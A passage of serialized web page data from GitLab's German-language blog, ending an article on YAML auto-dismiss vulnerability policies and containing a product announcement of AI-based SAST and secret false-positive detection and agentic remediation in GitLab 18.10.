dismissal_reason: not_applicable\n\n```\n\n### 5. Durch Infrastruktur abgemilderte Schwachstellen abweisen\n\nSchwachstellenklassen wie XSS (CWE-79) oder SQL-Injection (CWE-89), die durch WAF-Regeln oder Laufzeitschutz bereits adressiert sind. Diese Konfiguration nur einsetzen, wenn die abmildernden Kontrollen nachweislich vorhanden und durchgängig durchgesetzt sind – eine lückenhafte Durchsetzung macht die Abweisung ungültig.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss CWEs mitigated by WAF\"\n    description: \"XSS and SQLi mitigated by WAF rules\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-79\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-89\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: mitigating_control\n\n```\n\n### 6. CVE-Familien organisationsweit abweisen\n\nBei einer Welle verwandter CVEs für eine weit verbreitete Bibliothek, die das Team bereits bewertet hat: Richtlinie auf Gruppenebene anwenden und über Dutzende Projekte hinweg abweisen. Das Wildcard-Muster (z. B. `CVE-2021-44*`) erfasst alle CVEs mit diesem Präfix.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Accept risk for log4j CVE family\"\n    description: \"Log4j CVEs mitigated by version pinning and WAF\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2021-44*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: acceptable_risk\n\n```\n\n## Kurzübersicht\n\n| Parameter | Details |\n|-----------|---------|\n| **Kriterientypen** | `file_path` (Glob-Muster, z. B. `test/**/*`), `directory` (z. B. `vendor/*`), `identifier` (CVE/CWE mit Wildcards, z. B. `CVE-2023-*`) |\n| **Abweisungsgründe** | `acceptable_risk`, `false_positive`, `mitigating_control`, `used_in_tests`, `not_applicable` |\n| **Kriterienlogik** | Mehrere Kriterien innerhalb einer Regel = UND (alle müssen zutreffen). Mehrere Regeln innerhalb einer Richtlinie = ODER (eine reicht). |\n| **Limits** | 3 Kriterien pro Regel, 5 Regeln pro Richtlinie, 5 Richtlinien pro Security-Policy-Projekt. Vulnerability-Management-Richtlinien verarbeiten pro Pipeline-Ausführung bis zu 1.000 Schwachstellen im Zielprojekt. |\n| **Betroffene Status** | Needs triage, Confirmed |\n| **Geltungsbereich** | Projektebene oder Gruppenebene (Gruppenebene gilt für alle enthaltenen Projekte) |\n\n## Erste Schritte\n\nSo lassen sich Auto-Dismiss-Richtlinien einrichten:\n\n1. **Rauschen identifizieren**: Den Vulnerability-Report öffnen und nach „Needs triage\" sortieren. Nach Mustern suchen: Testdateien, eingebetteter Code, CVEs, die in mehreren Projekten wiederholt auftauchen.\n\n2. **Anwendungsfall auswählen**: Mit dem Anwendungsfall beginnen, der die meisten Findings abdeckt.\n\n3. **Ausgangslage festhalten**: Anzahl der Schwachstellen mit Status „Needs triage\" vor Erstellung der Richtlinie notieren.\n\n4. **Erstellen und aktivieren**: Über **Secure > Policies > New policy > Vulnerability management policy** navigieren. Konfiguration aus dem gewählten Anwendungsfall einfügen, dann MR mergen.\n\n5. **Ergebnis validieren**: Nach der nächsten Pipeline des Standard-Branches den Report nach Status „Dismissed\" filtern und prüfen, ob die erwarteten Findings erfasst wurden.\n\nVollständige Konfigurationsdetails in der [Dokumentation zu Vulnerability-Management-Richtlinien](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/#auto-dismiss-policies).\n\n> [GitLab Ultimate kostenlos testen](https://about.gitlab.com/de-de/free-trial/) und erste Auto-Dismiss-Richtlinie konfigurieren.\n",{"slug":693,"featured":11,"template":12},"auto-dismiss-vulnerability-management-policy",{"content":695,"config":704},{"title":696,"description":697,"authors":698,"heroImage":700,"date":701,"body":702,"category":9,"tags":703},"GitLab 18.10 bringt KI-native Triage und Behebung","Erfahre mehr über die Funktionen von GitLab Duo Agent Platform, die Rauschen reduzieren, echte Schwachstellen identifizieren und Ergebnisse in Lösungsvorschläge umwandeln.",[699],"Alisa Ho","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png","2026-03-19","GitLab 18.10 führt neue KI-basierte Sicherheitsfunktionen ein, die auf die Verbesserung der Qualität und Geschwindigkeit des Schwachstellenmanagements ausgerichtet sind. Zusammen tragen diese Funktionen dazu bei, den Zeitaufwand für die Untersuchung von False Positives zu reduzieren und automatisierte Abhilfe direkt in den Workflow zu integrieren – so lassen sich Schwachstellen auch ohne tiefgreifende Sicherheitsexpertise beheben.\n\nDas ist neu:\n\n* [**Erkennung von False Positives bei statischen Anwendungssicherheitstests (SAST)**](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/) **ist jetzt allgemein verfügbar.** Dieser Flow nutzt ein LLM für agentisches Reasoning, um die Wahrscheinlichkeit zu bestimmen, ob eine Schwachstelle ein False Positive ist oder nicht. So können sich Sicherheits- und Entwicklungsteams zuerst auf die Behebung kritischer Schwachstellen konzentrieren.\n* [**Agentische SAST-Schwachstellenbehebung**](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) **ist jetzt als Beta verfügbar.** Die agentische SAST-Schwachstellenbehebung erstellt automatisch einen Merge Request mit einem Lösungsvorschlag für verifizierte SAST-Schwachstellen. Das verkürzt die Zeit bis zur Behebung und reduziert den Bedarf an tiefgreifender Sicherheitsexpertise.\n* [**Erkennung von False Positives bei Geheimnissen**](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) **ist jetzt als Beta verfügbar.** Dieser Flow bringt die gleiche KI-basierte Rauschreduzierung in die Erkennung von Geheimnissen und kennzeichnet Dummy- und Test-Geheimnisse, um den Prüfaufwand zu verringern.\n\nDiese Flows stehen Kund(inn)en von GitLab Ultimate zur Verfügung, die GitLab Duo Agent Platform nutzen.\n\n## Triage-Zeit mit SAST-False-Positive-Erkennung verkürzen\n\nHerkömmliche SAST-Scanner kennzeichnen jedes verdächtige Codemuster, das sie finden – unabhängig davon, ob Codepfade erreichbar sind oder Frameworks das Risiko bereits abfangen. Ohne Laufzeitkontext können sie eine echte Schwachstelle nicht von sicherem Code unterscheiden, der lediglich gefährlich aussieht.\n\nDas bedeutet, dass Entwickler(innen) möglicherweise Stunden damit verbringen, Ergebnisse zu untersuchen, die sich als False Positives herausstellen. Mit der Zeit kann das das Vertrauen in den Bericht untergraben und die Teams verlangsamen, die für die Behebung echter Risiken verantwortlich sind.\n\nNach jedem SAST-Scan analysiert GitLab Duo Agent Platform automatisch neue kritische und hochgradig schwerwiegende Ergebnisse und fügt Folgendes hinzu:\n\n* Einen Konfidenzwert, der angibt, wie wahrscheinlich es ist, dass das Ergebnis ein False Positive ist\n* Eine KI-generierte Erklärung mit der Begründung\n* Ein visuelles Badge, das „Wahrscheinlich False Positive“ und „Wahrscheinlich echt“ in der UI leicht erkennbar macht\n\nDiese Ergebnisse erscheinen im [Sicherheitslückenbericht](https://docs.gitlab.com/user/application_security/vulnerability_report/), wie unten dargestellt. Der Bericht lässt sich filtern, um sich auf Ergebnisse zu konzentrieren, die als „Kein False Positive“ markiert sind. So können Teams ihre Zeit für die Behebung echter Schwachstellen nutzen, anstatt Rauschen zu sichten.\n\n![Sicherheitslückenbericht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\n\nDie Bewertung von GitLab Duo Agent Platform ist eine Empfehlung. Die Kontrolle über jedes False Positive bleibt erhalten, und die Begründung des Agenten kann jederzeit überprüft werden, um Vertrauen in das Modell aufzubauen.\n\n\n## Schwachstellen in automatisierte Fixes umwandeln\n\nZu wissen, dass eine Schwachstelle echt ist, ist nur die halbe Arbeit. Die Behebung erfordert weiterhin das Verständnis des Codepfads, das Schreiben eines sicheren Patches und die Sicherstellung, dass nichts anderes beeinträchtigt wird.\n\nWenn die Schwachstelle durch den SAST-False-Positive-Erkennungsflow als wahrscheinlich kein False Positive identifiziert wird, führt der agentische SAST-Schwachstellenbehebungsflow automatisch folgende Schritte aus:\n\n1. Liest den anfälligen Code und den umgebenden Kontext aus dem Repository\n2. Generiert hochwertige Lösungsvorschläge\n3. Validiert die Fixes durch automatisierte Tests\n4. Öffnet einen Merge Request mit einem Lösungsvorschlag, der Folgendes enthält:\n   * Konkrete Codeänderungen\n   * Einen Konfidenzwert\n   * Eine Erklärung, was geändert wurde und warum\n\nIn dieser Demo siehst du, wie GitLab eine SAST-Schwachstelle automatisch vom Erkennen bis hin zu einem prüfbereiten Merge Request verarbeiten kann. Beobachte, wie der Agent den Code liest, einen Fix generiert und validiert und einen MR mit klaren, nachvollziehbaren Änderungen öffnet – damit Entwickler(innen) schneller beheben können, ohne Sicherheitsexpert(inn)en sein zu müssen.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nWie bei jedem KI-generierten Vorschlag sollte der vorgeschlagene Merge Request vor dem Zusammenführen sorgfältig geprüft werden.\n\n## Echte Geheimnisse identifizieren\n\nDie Erkennung von Geheimnissen ist nur dann nützlich, wenn Teams den Ergebnissen vertrauen. Wenn Berichte voller Test-Zugangsdaten, Platzhalterwerte und Beispiel-Token sind, verschwenden Entwickler(innen) möglicherweise Zeit mit der Überprüfung von Rauschen, anstatt echte Sicherheitslücken zu beheben. Das kann die Behebung verlangsamen und das Vertrauen in den Scan verringern.\n\nDie False-Positive-Erkennung bei Geheimnissen hilft Teams, sich auf die relevanten Geheimnisse zu konzentrieren und Risiken schneller zu reduzieren. Bei der Ausführung auf dem Standard-Branch werden automatisch folgende Schritte durchgeführt:\n\n1. Jedes Ergebnis wird analysiert, um wahrscheinliche Test-Zugangsdaten, Beispielwerte und Dummy-Geheimnisse zu identifizieren\n2. Ein Konfidenzwert wird zugewiesen, ob das Ergebnis ein echtes Risiko oder wahrscheinlich ein False Positive ist\n3. Eine Erklärung wird generiert, warum das Geheimnis als echt oder als Rauschen eingestuft wird\n4. Ein Badge wird im Sicherheitslückenbericht hinzugefügt, damit Entwickler(innen) den Status auf einen Blick erkennen können\n\nEntwickler(innen) können diese Analyse auch manuell über den Sicherheitslückenbericht auslösen, indem sie bei einem Ergebnis der Geheimniserkennung **„Auf False Positive prüfen“** auswählen. So lassen sich Ergebnisse ohne Risiko aussortieren und echte Geheimnisse schneller adressieren.\n\n## KI-basierte Sicherheit jetzt testen\n\nGitLab 18.10 führt Funktionen ein, die den gesamten Schwachstellen-Workflow abdecken – von der Reduzierung von False-Positive-Rauschen bei SAST und der Erkennung von Geheimnissen bis hin zur automatischen Generierung von Merge Requests mit Lösungsvorschlägen.\n\nUm zu erfahren, wie KI-basierte Sicherheit die Prüfzeit verkürzen und Ergebnisse in zusammenführbare Fixes umwandeln kann, [starte jetzt eine kostenlose Testversion von GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/).",[22,9,690],{"featured":28,"template":12,"slug":705},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"promotions":707},[708,722,734,745],{"id":709,"categories":710,"header":712,"text":713,"button":714,"image":719},"ai-modernization",[711],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":715,"config":716},"Get your AI maturity score",{"href":717,"dataGaName":718,"dataGaLocation":237},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":720},{"src":721},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":723,"categories":724,"header":726,"text":713,"button":727,"image":731},"devops-modernization",[22,725],"devsecops","Are you just managing tools or shipping innovation?",{"text":728,"config":729},"Get your DevOps maturity score",{"href":730,"dataGaName":718,"dataGaLocation":237},"/assessments/devops-modernization-assessment/",{"config":732},{"src":733},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":735,"categories":736,"header":737,"text":713,"button":738,"image":742},"security-modernization",[9],"Are you trading speed for security?",{"text":739,"config":740},"Get your security maturity score",{"href":741,"dataGaName":718,"dataGaLocation":237},"/assessments/security-modernization-assessment/",{"config":743},{"src":744},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":746,"paths":747,"header":750,"text":751,"button":752,"image":757},"github-azure-migration",[748,749],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. 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